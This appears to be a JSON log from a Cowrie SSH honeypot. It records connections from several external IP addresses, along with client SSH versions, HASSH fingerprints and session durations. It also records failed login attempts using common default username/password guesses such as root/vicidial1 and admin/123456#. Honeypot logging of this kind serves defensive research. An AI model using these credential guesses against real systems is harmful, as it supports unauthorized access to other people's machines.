{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":59380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee17ca929771","protocol":"ssh","message":"New connection: 45.123.217.22:59380 (10.17.0.5:22) [session: ee17ca929771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.120178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.124640Z","src_ip":"45.123.217.22","session":"ee17ca929771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":51362,"dst_ip":"159.203.135.109","dst_port":22,"session":"163f640c34eb","protocol":"ssh","message":"New connection: 102.213.34.99:51362 (159.203.135.109:22) [session: 163f640c34eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.145149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.151250Z","src_ip":"102.213.34.99","session":"163f640c34eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.322410Z","src_ip":"102.213.34.99","session":"163f640c34eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.343534Z","src_ip":"45.123.217.22","session":"ee17ca929771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:46.713023Z","src_ip":"103.176.20.57","session":"1175f4c8fb8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial1","message":"login attempt [root/vicidial1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:47.035833Z","src_ip":"102.213.34.99","session":"163f640c34eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"1","message":"login attempt [scan/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:47.267578Z","src_ip":"45.123.217.22","session":"ee17ca929771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:48.211703Z","src_ip":"102.213.34.99","session":"163f640c34eb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:48.261119Z","src_ip":"91.92.40.36","session":"bb04dc4d4f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:48.264542Z","src_ip":"91.92.40.36","session":"bb04dc4d4f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seed","password":"seed","message":"login attempt [seed/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:48.358784Z","src_ip":"91.92.40.36","session":"510ec945f116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:48.492971Z","src_ip":"45.123.217.22","session":"ee17ca929771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60108,"dst_ip":"10.17.0.5","dst_port":22,"session":"493c5bed10a6","protocol":"ssh","message":"New connection: 91.92.40.36:60108 (10.17.0.5:22) [session: 493c5bed10a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:51.385135Z"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:51.967665Z","src_ip":"91.92.40.36","session":"510ec945f116","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:53.670434Z","src_ip":"91.92.40.36","session":"493c5bed10a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:53.673887Z","src_ip":"91.92.40.36","session":"493c5bed10a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":49934,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce67961fa22b","protocol":"ssh","message":"New connection: 45.78.204.254:49934 (10.17.0.5:22) [session: ce67961fa22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:00.957198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:00.962765Z","src_ip":"45.78.204.254","session":"ce67961fa22b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:01.211462Z","src_ip":"45.78.204.254","session":"ce67961fa22b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52568,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d39f4bdfbb5","protocol":"ssh","message":"New connection: 91.92.40.36:52568 (10.17.0.5:22) [session: 0d39f4bdfbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:01.518670Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456#","message":"login attempt [admin/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:02.240919Z","src_ip":"45.78.204.254","session":"ce67961fa22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:02.724847Z","src_ip":"91.92.40.36","session":"bb04dc4d4f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arm","password":"arm","message":"login attempt [arm/arm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:02.943309Z","src_ip":"91.92.40.36","session":"493c5bed10a6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:03.036444Z","src_ip":"91.92.40.36","session":"0d39f4bdfbb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:03.043225Z","src_ip":"91.92.40.36","session":"0d39f4bdfbb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:03.947802Z","src_ip":"45.78.204.254","session":"ce67961fa22b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:05.113815Z","src_ip":"91.92.40.36","session":"493c5bed10a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a637e8eb64","protocol":"ssh","message":"New connection: 91.92.40.36:52596 (10.17.0.5:22) [session: b8a637e8eb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:05.458851Z"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:05.747292Z","src_ip":"91.92.40.36","session":"bb04dc4d4f77","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:06.957779Z","src_ip":"91.92.40.36","session":"b8a637e8eb64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:06.961159Z","src_ip":"91.92.40.36","session":"b8a637e8eb64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48626,"dst_ip":"10.17.0.5","dst_port":22,"session":"934011a1fc32","protocol":"ssh","message":"New connection: 91.92.40.36:48626 (10.17.0.5:22) [session: 934011a1fc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:11.190163Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5868,"dst_ip":"10.17.0.5","dst_port":22,"session":"f87415e7eae5","protocol":"ssh","message":"New connection: 196.188.93.169:5868 (10.17.0.5:22) [session: f87415e7eae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:11.334298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:11.340060Z","src_ip":"196.188.93.169","session":"f87415e7eae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:11.511911Z","src_ip":"196.188.93.169","session":"f87415e7eae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"q1w2e3r4","message":"login attempt [test/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:12.230117Z","src_ip":"196.188.93.169","session":"f87415e7eae5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:12.769078Z","src_ip":"91.92.40.36","session":"934011a1fc32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:12.775884Z","src_ip":"91.92.40.36","session":"934011a1fc32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:12.825024Z","src_ip":"91.92.40.36","session":"0d39f4bdfbb5","protocol":"ssh"}
